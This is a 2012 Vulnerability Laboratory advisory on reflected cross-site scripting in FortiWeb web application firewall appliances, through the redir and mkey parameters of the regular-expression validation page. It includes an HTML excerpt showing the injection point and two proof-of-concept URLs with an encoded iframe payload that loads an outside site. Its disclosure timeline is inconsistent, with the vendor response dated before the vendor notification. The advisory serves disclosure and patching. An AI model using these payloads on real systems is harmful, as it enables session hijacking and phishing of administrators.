FortiWeb 4kC / 3kC / 1kC / VA Cross Site Scripting

`Title:  
======  
FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities  
  
  
Date:  
=====  
2012-12-01  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=702  
  
  
VL-ID:  
=====  
702  
  
  
Common Vulnerability Scoring System:  
====================================  
2.1  
  
  
Introduction:  
=============  
FortiWeb web application firewalls protect, balance, and accelerate your web applications, databases, and any   
information exchanged between them. Whether you are protecting applications delivered over a large enterprise,   
service provider, or cloud-based provider network, FortiWeb appliances will reduce deployment time and   
simplify security management. Fortinet s FortiWeb™ has passed ICSA Web Application Firewall Certification.   
The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are evidence of FortiWeb s commitment   
to uphold the industry s highest security standards. Achieving this certification ensures that FortiWeb™ customers   
benefit from best practices in the security industry for all their Web application needs.  
  
(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ )  
  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in   
Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.  
  
  
Report-Timeline:  
================  
2012-10-01: Researcher Notification & Coordination  
2012-10-11: Vendor Notification  
2012-10-05: Vendor Response/Feedback  
2012-11-11: Vendor Fix/Patch  
2012-12-01: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Fortinet  
Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.  
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium required user inter action   
and without local privileged application user account. The vulnerability is located in the Regular Expression - Validation (pcre_expression/validate)   
module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account steal, client side phishing &   
client-side appliance module context request manipulation.  
  
  
Vulnerable Module(s):  
[+] Regular Expression - Validation Module (pcre_expression/validate)  
  
Vulnerable Parameter(s):  
[+] redir  
[+] mkey  
  
  
Proof of Concept:  
=================  
The client side cross site scripting vulnerability can be exploited by remote attackers without application user account and   
with medium required user interaction. For demonstration or reproduce ...  
  
Code Review: Regular Expression - Validation Module (mkey & redir)  
  
<tr><td>  
<table class="footer" cellpadding="0" cellspacing="0">  
<tr><td>  
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close();   
} else {document.location='/waf/pcre_expression/validate'}">  
</td></tr>  
</table>  
</td></tr>  
<input type="hidden" name="mkey" size="22" maxlength="22"   
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">  
<input type="hidden" name="validated" value="-1">  
<input type="hidden" name="redir" value="/success">  
</form>  
</table>  
</td>  
  
... or  
  
<tr><td>  
<table class="footer" cellpadding="0" cellspacing="0">  
<tr><td>  
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close();   
} else {document.location='/waf/pcre_expression/validate'}">  
</td></tr>  
</table>  
</td></tr>  
<input type="hidden" name="mkey" size="22" maxlength="22"   
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">  
<input type="hidden" name="validated" value="-1">  
<input type="hidden" name="redir" value="/success">  
</form>  
</table>  
</td>  
  
  
  
PoC:  
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C  
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0  
  
  
Solution:  
=========  
The vulnerability can be patched by parsing all mkey and redir success parameter requests of the vulnerable Regular Expression - Validation module.  
  
2012-11-11: Vendor Fix/Patch  
  
  
Risk:  
=====  
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])  
  
  
Disclaimer:  
===========  
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or trade with fraud/stolen material.  
  
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Copyright © 2012 | Vulnerability Laboratory  
  
  
  
--   
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CONTACT: [email protected]  
  
`